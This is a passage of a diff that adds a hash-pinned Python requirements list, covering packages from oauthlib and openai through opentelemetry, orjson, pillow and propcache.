--hash=sha256:ea3334cabe4d41b7ccd01e4d349828678794edbc2d3ae97fc162a3312095092e \ + --hash=sha256:eb866162ef2f45063acc7a53a88ef6fe8bf121d45c30ea3c9cd87ce7e191a8d4 \ + --hash=sha256:ec81878ddf0e98817def1e77d4f50dae5ef5b0e4fe796fae3bd674304172416e \ + --hash=sha256:efbb54e98446892590dc2458c19c10344ee9a883a79b5cec4bc34d6656e8d546 \ + --hash=sha256:f0e77e3c0008bc9316e662624535b88d360c3a5d3f81e15cf12c139a75250046 \ + --hash=sha256:f0feece2ef8ebc42ed9e2e8c78fc4aa3cf455733b507c09ef7406364c94376c6 \ + --hash=sha256:f470f68adc395e0183b92a2f4689264d1ea4b40504a24d9882c27375e6662bb9 \ + --hash=sha256:f844a1bbf1d207dd311a56f383f7eda2d0e134921d45751842d8235e7778965d \ + --hash=sha256:f8a93b1c0ed2d04b97a5e9336fd2d33371b9a6e29ab7dd6503d63407c20ffbaf \ + --hash=sha256:f8e5c0031b90ca9ce555e2e8fd5c3b02a25f14989cbc310701823832c99eb687 \ + --hash=sha256:fb287618b9c7aa3bf8d825f02d9201b2f13078a5ed3b293c8f4d953917d84d5e \ + --hash=sha256:fbafe31d191dfa7c4c51f7a6149c9fb7e914dcf9ffead27dcfd9f1ae382b3885 \ + --hash=sha256:fbd18dc82d7bf274b37aa48d664534330af744e03bccf696d6f4c6042e7d19e7 +oauthlib==3.3.1 \ + --hash=sha256:0f0f8aa759826a193cf66c12ea1af1637f87b9b4622d46e866952bb022e538c9 \ + --hash=sha256:88119c938d2b8fb88561af5f6ee0eec8cc8d552b7bb1f712743136eb7523b7a1 +ollama==0.6.0 \ + --hash=sha256:534511b3ccea2dff419ae06c3b58d7f217c55be7897c8ce5868dfb6b219cf7a0 \ + --hash=sha256:da2b2d846b5944cfbcee1ca1e6ee0585f6c9d45a2fe9467cbcd096a37383da2f +openai==2.33.0 \ + --hash=sha256:03ac37d70e8c9e3a8124214e3afa785e2cbc12e627fbd98177a086ef2fd87ad5 \ + --hash=sha256:f850c435e2a4685bba3295bd54912dd26315d9c1b7733068186134d6e0599f9a +openapi-pydantic==0.5.1 \ + --hash=sha256:a3a09ef4586f5bd760a8df7f43028b60cafb6d9f61de2acba9574766255ab146 \ + --hash=sha256:ff6835af6bde7a459fb93eb93bb92b8749b754fc6e51b2f1590a19dc3005ee0d +openhands-sdk @ https://files.pythonhosted.org/packages/eb/5a/359d6a4b892fccd4915879d3145d77735b0e5614eee7db7b2a11ae99a843/openhands_sdk-1.50.0-py3-none-any.whl \ + --hash=sha256:441ea190fb0af2253bf431650f209fedfbb9eb7c41cf35440a0548296d4b0faa +openhands-tools @ https://files.pythonhosted.org/packages/97/b2/61c9b0029d46de429890527f47c1809f6badc1c386bfcb4dd17286166108/openhands_tools-1.50.0-py3-none-any.whl \ + --hash=sha256:b237043c892111624fdc1fe98e0d29f772ae1f614b487866d926775167c9635e +opentelemetry-api==1.39.1 \ + --hash=sha256:2edd8463432a7f8443edce90972169b195e7d6a05500cd29e6d13898187c9950 \ + --hash=sha256:fbde8c80e1b937a2c61f20347e91c0c18a1940cecf012d62e65a7caf08967c9c +opentelemetry-exporter-otlp-proto-common==1.39.1 \ + --hash=sha256:08f8a5862d64cc3435105686d0216c1365dc5701f86844a8cd56597d0c764fde \ + --hash=sha256:763370d4737a59741c89a67b50f9e39271639ee4afc999dadfe768541c027464 +opentelemetry-exporter-otlp-proto-grpc==1.39.1 \ + --hash=sha256:772eb1c9287485d625e4dbe9c879898e5253fea111d9181140f51291b5fec3ad \ + --hash=sha256:fa1c136a05c7e9b4c09f739469cbdb927ea20b34088ab1d959a849b5cc589c18 +opentelemetry-exporter-otlp-proto-http==1.39.1 \ + --hash=sha256:31bdab9745c709ce90a49a0624c2bd445d31a28ba34275951a6a362d16a0b9cb \ + --hash=sha256:d9f5207183dd752a412c4cd564ca8875ececba13be6e9c6c370ffb752fd59985 +opentelemetry-instrumentation==0.60b1 \ + --hash=sha256:04480db952b48fb1ed0073f822f0ee26012b7be7c3eac1a3793122737c78632d \ + --hash=sha256:57ddc7974c6eb35865af0426d1a17132b88b2ed8586897fee187fd5b8944bd6a +opentelemetry-instrumentation-threading==0.60b1 \ + --hash=sha256:20b18a68abe5801fa9474336b7c27487d4af3e00b66f6a8734e4fdd75c8b0b43 \ + --hash=sha256:92a52a60fee5e32bc6aa8f5acd749b15691ad0bc4457a310f5736b76a6d9d1de +opentelemetry-proto==1.39.1 \ + --hash=sha256:22cdc78efd3b3765d09e68bfbd010d4fc254c9818afd0b6b423387d9dee46007 \ + --hash=sha256:6c8e05144fc0d3ed4d22c2289c6b126e03bcd0e6a7da0f16cedd2e1c2772e2c8 +opentelemetry-sdk==1.39.1 \ + --hash=sha256:4d5482c478513ecb0a5d938dcc61394e647066e0cc2676bee9f3af3f3f45f01c \ + --hash=sha256:cf4d4563caf7bff906c9f7967e2be22d0d6b349b908be0d90fb21c8e9c995cc6 +opentelemetry-semantic-conventions==0.60b1 \ + --hash=sha256:87c228b5a0669b748c76d76df6c364c369c28f1c465e50f661e39737e84bc953 \ + --hash=sha256:9fa8c8b0c110da289809292b0591220d3a7b53c1526a23021e977d68597893fb +opentelemetry-semantic-conventions-ai==0.4.13 \ + --hash=sha256:883a30a6bb5deaec0d646912b5f9f6dcbb9f6f72557b73d0f2560bf25d13e2d5 \ + --hash=sha256:94efa9fb4ffac18c45f54a3a338ffeb7eedb7e1bb4d147786e77202e159f0036 +orjson==3.11.7 \ + --hash=sha256:043d3006b7d32c7e233b8cfb1f01c651013ea079e08dcef7189a29abd8befe11 \ + --hash=sha256:0527a4510c300e3b406591b0ba69b5dc50031895b0a93743526a3fc45f59d26e \ + --hash=sha256:0724e265bc548af1dedebd9cb3d24b4e1c1e685a343be43e87ba922a5c5fff2f \ + --hash=sha256:136dcd6a2e796dfd9ffca9fc027d778567b0b7c9968d092842d3c323cef88aa8 \ + --hash=sha256:14f440c7268c8f8633d1b3d443a434bd70cb15686117ea6beff8fdc8f5917a1e \ + --hash=sha256:1d98b30cc1313d52d4af17d9c3d307b08389752ec5f2e5febdfada70b0f8c733 \ + --hash=sha256:1eb80451a9c351a71dfaf5b7ccc13ad065405217726b59fdbeadbcc544f9d223 \ + --hash=sha256:1ee5cc7160a821dfe14f130bc8e63e7611051f964b463d9e2a3a573204446a4d \ + --hash=sha256:23d6c20517a97a9daf1d48b580fcdc6f0516c6f4b5038823426033690b4d2650 \ + --hash=sha256:26c3b9132f783b7d7903bf1efb095fed8d4a3a85ec0d334ee8beff3d7a4749d5 \ + --hash=sha256:31c80ce534ac4ea3739c5ee751270646cbc46e45aea7576a38ffec040b4029a1 \ + --hash=sha256:3726be79e36e526e3d9c1aceaadbfb4a04ee80a72ab47b3f3c17fefb9812e7b8 \ + --hash=sha256:390a1dce0c055ddf8adb6aa94a73b45a4a7d7177b5c584b8d1c1947f2ba60fb3 \ + --hash=sha256:3a2479753bbb95b0ebcf7969f562cdb9668e6d12416a35b0dda79febf89cdea2 \ + --hash=sha256:3c4bc6c6ac52cdaa267552544c73e486fecbd710b7ac09bc024d5a78555a22f6 \ + --hash=sha256:411ebaf34d735e25e358a6d9e7978954a9c9d58cfb47bc6683cdc3964cd2f910 \ + --hash=sha256:4682d1db3bcebd2b64757e0ddf9e87ae5f00d29d16c5cdf3a62f561d08cc3dd2 \ + --hash=sha256:4a2e9c5be347b937a2e0203866f12bba36082e89b402ddb9e927d5822e43088d \ + --hash=sha256:57036b27ac8a25d81112eb0cc9835cd4833c5b16e1467816adc0015f59e870dc \ + --hash=sha256:5ede977b5fe5ac91b1dffc0a517ca4542d2ec8a6a4ff7b2652d94f640796342a \ + --hash=sha256:5fdfad2093bdd08245f2e204d977facd5f871c88c4a71230d5bcbd0e43bf6222 \ + --hash=sha256:623ad1b9548ef63886319c16fa317848e465a21513b31a6ad7b57443c3e0dcf5 \ + --hash=sha256:652c6c3af76716f4a9c290371ba2e390ede06f6603edb277b481daf37f6f464e \ + --hash=sha256:6543001328aa857187f905308a028935864aefe9968af3848401b6fe80dbb471 \ + --hash=sha256:6e776b998ac37c0396093d10290e60283f59cfe0fc3fccbd0ccc4bd04dd19892 \ + --hash=sha256:71924496986275a737f38e3f22b4e0878882b3f7a310d2ff4dc96e812789120c \ + --hash=sha256:733ae23ada68b804b222c44affed76b39e30806d38660bf1eb200520d259cc16 \ + --hash=sha256:7477aa6a6ec6139c5cb1cc7b214643592169a5494d200397c7fc95d740d5fcf3 \ + --hash=sha256:79cacb0b52f6004caf92405a7e1f11e6e2de8bdf9019e4f76b44ba045125cd6b \ + --hash=sha256:7ba61079379b0ae29e117db13bda5f28d939766e410d321ec1624afc6a0b0504 \ + --hash=sha256:800988273a014a0541483dc81021247d7eacb0c845a9d1a34a422bc718f41539 \ + --hash=sha256:814be4b49b228cfc0b3c565acf642dd7d13538f966e3ccde61f4f55be3e20785 \ + --hash=sha256:845c3e0d8ded9c9271cd79596b9b552448b885b97110f628fb687aee2eed11c1 \ + --hash=sha256:849e38203e5be40b776ed2718e587faf204d184fc9a008ae441f9442320c0cab \ + --hash=sha256:89e13dd3f89f1c38a9c9eba5fbf7cdc2d1feca82f5f290864b4b7a6aac704576 \ + --hash=sha256:89e440ebc74ce8ab5c7bc4ce6757b4a6b1041becb127df818f6997b5c71aa60b \ + --hash=sha256:8ff206156006da5b847c9304b6308a01e8cdbc8cce824e2779a5ba71c3def141 \ + --hash=sha256:91c81ef070c8f3220054115e1ef468b1c9ce8497b4e526cb9f68ab4dc0a7ac62 \ + --hash=sha256:9487abc2c2086e7c8eb9a211d2ce8855bae0e92586279d0d27b341d5ad76c85c \ + --hash=sha256:962d046ee1765f74a1da723f4b33e3b228fe3a48bd307acce5021dfefe0e29b2 \ + --hash=sha256:996b65230271f1a97026fd0e6a753f51fbc0c335d2ad0c6201f711b0da32693b \ + --hash=sha256:9b1a67243945819ce55d24a30b59d6a168e86220452d2c96f4d1f093e71c0c49 \ + --hash=sha256:9c0b51672e466fd7e56230ffbae7f1639e18d0ce023351fb75da21b71bc2c960 \ + --hash=sha256:9e54f3808e2b6b945078c41aa8d9b5834b28c50843846e97807e5adb75fa9705 \ + --hash=sha256:a02c833f38f36546ba65a452127633afce4cf0dd7296b753d3bb54e55e5c0174 \ + --hash=sha256:a12b80df61aab7b98b490fe9e4879925ba666fccdfcd175252ce4d9035865ace \ + --hash=sha256:a16bcd08ab0bcdfc7e8801d9c4a9cc17e58418e4d48ddc6ded4e9e4b1a94062b \ + --hash=sha256:a56df3239294ea5964adf074c54bcc4f0ccd21636049a2cf3ca9cf03b5d03cf1 \ + --hash=sha256:a709e881723c9b18acddcfb8ba357322491ad553e277cf467e1e7e20e2d90561 \ + --hash=sha256:ab49d4b2a6a1d415ddb9f37a21e02e0d5dbfe10b7870b21bf779fc21e9156157 \ + --hash=sha256:ae9e0b37a834cef7ce8f99de6498f8fad4a2c0bf6bfc3d02abd8ed56aa15b2de \ + --hash=sha256:b4a9eefdc70bf8bf9857f0290f973dec534ac84c35cd6a7f4083be43e7170a8f \ + --hash=sha256:b63c6e6738d7c3470ad01601e23376aa511e50e1f3931395b9f9c722406d1a67 \ + --hash=sha256:b7b1dae39230a393df353827c855a5f176271c23434cfd2db74e0e424e693e10 \ + --hash=sha256:b8d14b71c0b12963fe8a62aac87119f1afdf4cb88a400f61ca5ae581449efcb5 \ + --hash=sha256:b9f95dcdea9d4f805daa9ddf02617a89e484c6985fa03055459f90e87d7a0757 \ + --hash=sha256:b9fc4d0f81f394689e0814617aadc4f2ea0e8025f38c226cbf22d3b5ddbf025d \ + --hash=sha256:bd03ea7606833655048dab1a00734a2875e3e86c276e1d772b2a02556f0d895f \ + --hash=sha256:bd0d68edd7dfca1b2eca9361a44ac9f24b078de3481003159929a0573f21a6bf \ + --hash=sha256:bda117c4148e81f746655d5a3239ae9bd00cb7bc3ca178b5fc5a5997e9744183 \ + --hash=sha256:bf742e149121dc5648ba0a08ea0871e87b660467ef168a3a5e53bc1fbd64bb74 \ + --hash=sha256:c2428d358d85e8da9d37cba18b8c4047c55222007a84f97156a5b22028dfbfc0 \ + --hash=sha256:c2e85fe4698b6a56d5e2ebf7ae87544d668eb6bde1ad1226c13f44663f20ec9e \ + --hash=sha256:c43b8b5bab288b6b90dac410cca7e986a4fa747a2e8f94615aea407da706980d \ + --hash=sha256:cededd6738e1c153530793998e31c05086582b08315db48ab66649768f326baa \ + --hash=sha256:d06e5c5fed5caedd2e540d62e5b1c25e8c82431b9e577c33537e5fa4aa909539 \ + --hash=sha256:d772afdb22555f0c58cfc741bdae44180122b3616faa1ecadb595cd526e4c993 \ + --hash=sha256:d897e81f8d0cbd2abb82226d1860ad2e1ab3ff16d7b08c96ca00df9d45409ef4 \ + --hash=sha256:de0a37f21d0d364954ad5de1970491d7fbd0fb1ef7417d4d56a36dc01ba0c0a0 \ + --hash=sha256:e7745312efa9e11c17fbd3cb3097262d079da26930ae9ae7ba28fb738367cbad \ + --hash=sha256:ed46f17096e28fb28d2975834836a639af7278aa87c84f68ab08fbe5b8bd75fa \ + --hash=sha256:f4f7c956b5215d949a1f65334cf9d7612dde38f20a95f2315deef167def91a6f \ + --hash=sha256:f50979824bde13d32b4320eedd513431c921102796d86be3eee0b58e58a3ecd1 \ + --hash=sha256:f904c24bdeabd4298f7a977ef14ca2a022ca921ed670b92ecd16ab6f3d01f867 +packaging==26.3 \ + --hash=sha256:94edc256424af38762eb31306eed28beb9f0efc50a8837492c9d6fd6004aed79 \ + --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c +pathable==0.4.4 \ + --hash=sha256:5ae9e94793b6ef5a4cbe0a7ce9dbbefc1eec38df253763fd0aeeacf2762dbbc2 \ + --hash=sha256:6905a3cd17804edfac7875b5f6c9142a218c7caef78693c2dbbbfbac186d88b2 +pfzy==0.3.4 \ + --hash=sha256:5f50d5b2b3207fa72e7ec0ef08372ef652685470974a107d0d4999fc5a903a96 \ + --hash=sha256:717ea765dd10b63618e7298b2d98efd819e0b30cd5905c9707223dceeb94b3f1 +pillow==12.3.0 \ + --hash=sha256:00808c5e14ef63ac5161091d242999076604ff74b883423a11e5d7bbb38bf756 \ + --hash=sha256:04f01d28a6aaff387bf842a13be313df23ba0597a44f1a976c9feb3c6ff4711a \ + --hash=sha256:06ff022112bc9cbf83b60f8e028d94ad87b60621706487e65f673de61610ab59 \ + --hash=sha256:0740a512dc522224c77d9aa5a8d70d8b7d73fb91f2c21125d8d025d3b8990e45 \ + --hash=sha256:0847a763afefb695bc912d7c131e7e0632d4edc1d8698f58ddabec8e46b8b6d3 \ + --hash=sha256:0dd2064cbc55aaec028ef5fbb60fa47bb6c3e7918e07ff17935284b227a9d2df \ + --hash=sha256:0feb2e9d6ad6c9e3c06effe9d00f3f1e618a6643273576b016f591e9315a7139 \ + --hash=sha256:10e41f0fbf1eec8cfd234b8fe17a4caac7c9d0db4c204d3c173a8f9f6ef3232b \ + --hash=sha256:1182d52bc2d5e5d7d0949503aa7e36d12f42205dc287e4883f407b1988820d39 \ + --hash=sha256:164b31cd1a0490ab6efae01aa5df49da7061be0af1b30e035b6e9a1bfe34ee6e \ + --hash=sha256:1657923d2d45afb66526e5b933e5b3052e6bdea196c90d3abb2424e18c77dae8 \ + --hash=sha256:186941b6aef820ad110fb01fb06eb925374dc3a21b17e37ec9a53b250c6fe2d1 \ + --hash=sha256:1cca606cd25738df4ed873d5ad46bbdb3d83b5cbca291f6b4ff13a4df6b0bbe8 \ + --hash=sha256:21900ce7ba264168cd50defae43cd75d25c833ad4ad6e73ffc5596d12e25ac89 \ + --hash=sha256:236ff70b9312fb68943c703aa842ca6a758abfa45ac187a5e7c1452e96ef72b5 \ + --hash=sha256:23aceaa007d6172b02c277f0cd359c79492bbb14f7072b4ede9fbcaf20648130 \ + --hash=sha256:23d27a3e0307ec2244cc51e7287b919aa68d097504ebe19df4e76a98a3eea5bd \ + --hash=sha256:24870b09b224f7ae3c39ed07d10e819d06f8720bc551847b1d623832b5b0e28d \ + --hash=sha256:251bf95b67017e27b13d82f5b326234ca62d70f9cf4c2b9032de2358a3b12c7b \ + --hash=sha256:25b9b82bb22e6e2b3cd07b39c68b7b862001226cb3dff7130d1cb914121b39ed \ + --hash=sha256:28ce87c5ab450a9dd970b52e5aca5fe63ed432d18a2eaddd1979a00a1ba24ace \ + --hash=sha256:300557495eb45ebb8aec96c2da9c4be642fbf7cd937278b4013ba894ea8eb0eb \ + --hash=sha256:30f2aa603c41533cc25c05acd0da21636e84a315768feb631c937177db558931 \ + --hash=sha256:331b624368d4f1d069149002f25f44bc61c8919ce8ddb3c45bdad8f6e2d89510 \ + --hash=sha256:37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6 \ + --hash=sha256:37dc8f7bbb66efe481bb60defacef820c950c24713fb44962ed6aa2a50966de1 \ + --hash=sha256:3b8182a766685eaa002637e28b4ec8d6b18819a0c71f579bf0dbaa5830297cce \ + --hash=sha256:3edce1d53195db527e0191f84b71d02022de0540bf43a16ed734ed7537b07385 \ + --hash=sha256:446c34dcc4324b084a53b705127dc15717b22c5e140ae0a3c38349d4efec071e \ + --hash=sha256:4998562bf62a445225f22e07c896bb04b35b1b1f2eb6d760584c9c51d7a5f78c \ + --hash=sha256:4b0a7fe987b14c31ebda6083f74f22b561fd3739bc0ac51e019622e3d72668c7 \ + --hash=sha256:4e8c2a84d977f50b9daed6eeaf3baef67d00d5d74d932288f02cb94518ee3ace \ + --hash=sha256:4f883547d4b7f0495ebe7056b0cc2aea76094e7a4abc8e933540f3271df27d9c \ + --hash=sha256:514435a37670e3e5e08f3945b68718b6ed329bb84367777e16f9f4dfe1e61a0f \ + --hash=sha256:53aa02d20d10c3d814d536aa4e5ac9b84ca0ff5a88377963b085ad6822f93e64 \ + --hash=sha256:5594fc43d548a7ed94949d139aa1341b270f1863f11cfd37f5a6c8b778a6b67f \ + --hash=sha256:571b9fcb07b97ef3a492028fb3d2dc0993ca23a06138b0315286566d29ef718a \ + --hash=sha256:57b3d78c95ba9059768b10e28b813002261d3f3dfc55cc48b0c988f625175827 \ + --hash=sha256:5afb51d599ea772b8365ae807ae557f18bccfe46ab261fd1c2a9ed700fc6eb17 \ + --hash=sha256:6b02afb9b97f65fbca5f31db6a2a3ba21aa93030225f150fa3f249717e938fb4 \ + --hash=sha256:6c0016e7b354317c4e9e525b937ac8596c38d2d232b419529b9cd7a1cd46e39a \ + --hash=sha256:71d6097b330eea8fd15097780c8e89cb1a8ce7838669f48c5bacd6f663dd4701 \ + --hash=sha256:756c768d0c9c2955feb7a56c37ea24aea2e369f8d36a88da270b6a9f19e62b5e \ + --hash=sha256:78cb2c6865a35ab8ff8b75fd122f6033b92a62c82801110e48ddd6c936a45d91 \ + --hash=sha256:7a743ff716f746fc19a9557f60dab1600d4613255f8a7aeb3cdde4db7eb15a66 \ + --hash=sha256:85f998ea1848bc6757289e739cfbdda3a04adfd58b02fc018ce54d754a5ce468 \ + --hash=sha256:8728f216dcdb6e6d555cf971cb34076139ad74b31fc2c14da4fafc741c5f6217 \ + --hash=sha256:877c3f311ff35410f690861c4409e7ccbf0cd2f878e50628a28e5a0bb689e658 \ + --hash=sha256:8cd2f7bdda092d99c9fc2fb7391354f306d01443d22785d0cbfafa2e2c8bb418 \ + --hash=sha256:8e95e1385e4998ae9694eeaa4730ba5457ff61185b3a55e2e7bea0880aef452a \ + --hash=sha256:962864dc93511324d51ddbb5b9f8731bf71675b93ca612a07441896f4688fb8c \ + --hash=sha256:9cf95fe4d0f84c82d282745d9bb08ad9f926efa00be4697e767b814ce40d4330 \ + --hash=sha256:9e881fca225083806662a5c43d627d215f258ff43c890f831966c7d7ba9c7402 \ + --hash=sha256:a2b55dd6b2a4c4b7d87ffa56bdb33fdc5fdb9a462173861a7bc097f17d91cb09 \ + --hash=sha256:a45650e8ce7fafffd731db8550230db6b0d306d181a90b67d3e6bca2f1990930 \ + --hash=sha256:a876864214e136f0eb367788dbd7df045f4806801518e2cfe9e13229cfe06d8f \ + --hash=sha256:ae26d61dfa7a47befdc7572b521024e8745f3d809bd95ca9505a7bba9ef849ec \ + --hash=sha256:af8d94b0db561cf68b88a267c5c44b49e134f525d0dc2cb7ed413a66bc23559a \ + --hash=sha256:b343699e8308bdc51978310e1c959c584e7869cc8c40780058c87da7781a1e94 \ + --hash=sha256:b3c777e849237620b022f7f297dd67705f9f5cf1685f09f02e46f93e92725468 \ + --hash=sha256:b629de27fda84b42cde7edef0d85f13b958b47f6e9bbcbba9b673c562a89bd8b \ + --hash=sha256:ba09209fbe443b4acccebe845d8a138b89a8f4fbaeedd44953490b5315d5e965 \ + --hash=sha256:ba54cfebe86920a559a7c4d6b9050791c20513650a1952ebe3368c7dc70306f8 \ + --hash=sha256:bcb46e2f9feff8d06323983bd83ed00c201fdcab3d74973e7072a889b3979fcd \ + --hash=sha256:bcc33feacfaefce60c12fd500a277533bdc02b10a19f7f6d348763d8140bbba7 \ + --hash=sha256:bf16ba1b4d0b6b7c8e534936632270cf70eb00dbe09005bc345b2677b726855c \ + --hash=sha256:cf1845d02ad822a369a49f2bb9345b1614744267682e7a03527dc3bf6eea1777 \ + --hash=sha256:d69141514cc30b774ceea5e3ed3a6635c8d8a96edf664689b890f4089111fb35 \ + --hash=sha256:d9c7f76c0673154f044e9d78c8655fb4213f6ca31a836df48b40fe5d187717b9 \ + --hash=sha256:dbce0b29841537a2fa4a214c2bbf14de3587c9680caa9b4e217568472490b28f \ + --hash=sha256:dc624f6bc473dacdf7ef7eb8678d0d08edf15cd94fad6ae5c7d6cc67a4e4902f \ + --hash=sha256:e158cb00350dc278f3b91551101aa7d12415a66ebf2c91d8d5ac14e56ddd3ad0 \ + --hash=sha256:e491916b378fba47242221bb9ead245211b70d504f495d105d17b14a24b4907c \ + --hash=sha256:e795b7eb908249c4e43c7c99fac7c2c75dab0c43566e37db472a355f63693d71 \ + --hash=sha256:e7e480451b9fa137494bccd3a7d69adbe8ac65a87d97be61e11f1b1050a5bac3 \ + --hash=sha256:e91206ee562682b51b98ef4b26a6ef48fd84e15fd4c4bc5ec768eb641d206838 \ + --hash=sha256:e9871b1ffbfa9656b60aeee92ed5136a5742696006fa322b29ea3d8da0ecc9cf \ + --hash=sha256:e9aeb04d6aef139de265b29683e119b638208f88cf73cdd1658aa07221165321 \ + --hash=sha256:ebaea975e03d3141d9d3a507df75c9b3ec90fa9d2ffd07567b3a978d9d790b26 \ + --hash=sha256:f0606c8bf2cdefea14a43530f7657cbbb7ecf1c4222512492ef4a4434a9501ec \ + --hash=sha256:f13c32a3abd6079a66d9526e18dad9b6d280384d49d7c54040cd57b6424041d9 \ + --hash=sha256:f7401aebd7f581d7f83a439d87d474999317ee099218e5ad25d125290990ba65 \ + --hash=sha256:fa4ecea169a355be7a3ade2c783e2ed12f0e40d2c5621cda8b3297faf7fbb9f5 \ + --hash=sha256:fbd139c8447d25dd750ab79ee274cc5e1fe80fc56340ab10b18a195e1b6eca3e \ + --hash=sha256:fdafc9cce40277e0f7a0feabce0ee50dd2fa1800f3b38015e51296b5e814048d \ + --hash=sha256:fe3cca2e4e8a592be0f269a1ca4835c25199d9f3ce815c8491048f785b0a0198 \ + --hash=sha256:ffd0c5368496f41b0944be820fcb7a838aa6e623d250b01acf2643939c3f99d7 +platformdirs==4.4.0 \ + --hash=sha256:abd01743f24e5287cd7a5db3752faf1a2d65353f38ec26d98e25a6db65958c85 \ + --hash=sha256:ca753cf4d81dc309bc67b0ea38fd15dc97bc30ce419a7f58d13eb3bf14c4febf +portalocker==2.10.1 \ + --hash=sha256:53a5984ebc86a025552264b459b46a2086e269b21823cb572f8f28ee759e45bf \ + --hash=sha256:ef1bf844e878ab08aee7e40184156e1151f228f103aa5c6bd0724cc330960f8f +posthog==6.7.7 \ + --hash=sha256:bf8187ce8e6da33d5c122ee03a759efa8f181630380260526294454dab0c8bab \ + --hash=sha256:ffb7bac388f66e5c9e2e3d6028572386ad3c98bba7a9a4669db05b10ac23357a +prompt-toolkit==3.0.52 \ + --hash=sha256:28cde192929c8e7321de85de1ddbe736f1375148b02f2e17edd840042b1be855 \ + --hash=sha256:9aac639a3bbd33284347de5ad8d68ecc044b91a762dc39b7c21095fcd6a19955 +propcache==0.4.1 \ + --hash=sha256:0002004213ee1f36cfb3f9a42b5066100c44276b9b72b4e1504cddd3d692e86e \ + --hash=sha256:0013cb6f8dde4b2a2f66903b8ba740bdfe378c943c4377a200551ceb27f379e4 \ + --hash=sha256:005f08e6a0529984491e37d8dbc3dd86f84bd78a8ceb5fa9a021f4c48d4984be \ + --hash=sha256:031dce78b9dc099f4c29785d9cf5577a3faf9ebf74ecbd3c856a7b92768c3df3 \ + --hash=sha256:05674a162469f31358c30bcaa8883cb7829fa3110bf9c0991fe27d7896c42d85 \ + --hash=sha256:060b16ae65bc098da7f6d25bf359f1f31f688384858204fe5d652979e0015e5b \ + --hash=sha256:120c964da3fdc75e3731aa392527136d4ad35868cc556fd09bb6d09172d9a367 \ + --hash=sha256:15932ab57837c3368b024473a525e25d316d8353016e7cc0e5ba9eb343fbb1cf \ + --hash=sha256:17612831fda0138059cc5546f4d12a2aacfb9e47068c06af35c400ba58ba7393 \ + --hash=sha256:182b51b421f0501952d938dc0b0eb45246a5b5153c50d42b495ad5fb7517c888 \ + --hash=sha256:1cdb7988c4e5ac7f6d175a28a9aa0c94cb6f2ebe52756a3c0cda98d2809a9e37 \ + --hash=sha256:1eb2994229cc8ce7fe9b3db88f5465f5fd8651672840b2e426b88cdb1a30aac8 \ + --hash=sha256:1f0978529a418ebd1f49dad413a2b68af33f85d5c5ca5c6ca2a3bed375a7ac60 \ + --hash=sha256:204483131fb222bdaaeeea9f9e6c6ed0cac32731f75dfc1d4a567fc1926477c1 \ + --hash=sha256:296f4c8ed03ca7476813fe666c9ea97869a8d7aec972618671b33a38a5182ef4 \ + --hash=sha256:2ad890caa1d928c7c2965b48f3a3815c853180831d0e5503d35cf00c472f4717 \ + --hash=sha256:2b16ec437a8c8a965ecf95739448dd938b5c7f56e67ea009f4300d8df05f32b7 \ + --hash=sha256:2bb07ffd7eaad486576430c89f9b215f9e4be68c4866a96e97db9e97fead85dc \ + --hash=sha256:333ddb9031d2704a301ee3e506dc46b1fe5f294ec198ed6435ad5b6a085facfe \ + --hash=sha256:357f5bb5c377a82e105e44bd3d52ba22b616f7b9773714bff93573988ef0a5fb \ + --hash=sha256:35c3277624a080cc6ec6f847cbbbb5b49affa3598c4535a0a4682a697aaa5c75 \ + --hash=sha256:364426a62660f3f699949ac8c621aad6977be7126c5807ce48c0aeb8e7333ea6 \ + --hash=sha256:381914df18634f5494334d201e98245c0596067504b9372d8cf93f4bb23e025e \ + --hash=sha256:3d233076ccf9e450c8b3bc6720af226b898ef5d051a2d145f7d765e6e9f9bcff \ + --hash=sha256:3d902a36df4e5989763425a8ab9e98cd8ad5c52c823b34ee7ef307fd50582566 \ + --hash=sha256:3f7124c9d820ba5548d431afb4632301acf965db49e666aa21c305cbe8c6de12 \ + --hash=sha256:405aac25c6394ef275dee4c709be43745d36674b223ba4eb7144bf4d691b7367 \ + --hash=sha256:41a89040cb10bd345b3c1a873b2bf36413d48da1def52f268a055f7398514874 \ + --hash=sha256:43eedf29202c08550aac1d14e0ee619b0430aaef78f85864c1a892294fbc28cf \ + --hash=sha256:473c61b39e1460d386479b9b2f337da492042447c9b685f28be4f74d3529e566 \ + --hash=sha256:49a2dc67c154db2c1463013594c458881a069fcf98940e61a0569016a583020a \ + --hash=sha256:4b536b39c5199b96fc6245eb5fb796c497381d3942f169e44e8e392b29c9ebcc \ + --hash=sha256:4c3c70630930447f9ef1caac7728c8ad1c56bc5015338b20fed0d08ea2480b3a \ + --hash=sha256:4d3df5fa7e36b3225954fba85589da77a0fe6a53e3976de39caf04a0db4c36f1 \ + --hash=sha256:4d7af63f9f93fe593afbf104c21b3b15868efb2c21d07d8732c0c4287e66b6a6 \ + --hash=sha256:501d20b891688eb8e7aa903021f0b72d5a55db40ffaab27edefd1027caaafa61 \ + --hash=sha256:521a463429ef54143092c11a77e04056dd00636f72e8c45b70aaa3140d639726 \ + --hash=sha256:5558992a00dfd54ccbc64a32726a3357ec93825a418a401f5cc67df0ac5d9e49 \ + --hash=sha256:55c72fd6ea2da4c318e74ffdf93c4fe4e926051133657459131a95c846d16d44 \ + --hash=sha256:564d9f0d4d9509e1a870c920a89b2fec951b44bf5ba7d537a9e7c1ccec2c18af \ + --hash=sha256:580e97762b950f993ae618e167e7be9256b8353c2dcd8b99ec100eb50f5286aa \ + --hash=sha256:5a103c3eb905fcea0ab98be99c3a9a5ab2de60228aa5aceedc614c0281cf6153 \ + --hash=sha256:5c3310452e0d31390da9035c348633b43d7e7feb2e37be252be6da45abd1abcc \ + --hash=sha256:5d4e2366a9c7b837555cf02fb9be2e3167d333aff716332ef1b7c3a142ec40c5 \ + --hash=sha256:5fd37c406dd6dc85aa743e214cef35dc54bbdd1419baac4f6ae5e5b1a2976938 \ + --hash=sha256:60a8fda9644b7dfd5dece8c61d8a85e271cb958075bfc4e01083c148b61a7caf \ + --hash=sha256:66c1f011f45a3b33d7bcb22daed4b29c0c9e2224758b6be00686731e1b46f925 \ + --hash=sha256:671538c2262dadb5ba6395e26c1731e1d52534bfe9ae56d0b5573ce539266aa8 \ + --hash=sha256:678ae89ebc632c5c204c794f8dab2837c5f159aeb59e6ed0539500400577298c \ + --hash=sha256:67fad6162281e80e882fb3ec355398cf72864a54069d060321f6cd0ade95fe85 \ + --hash=sha256:6918ecbd897443087a3b7cd978d56546a812517dcaaca51b49526720571fa93e \ + 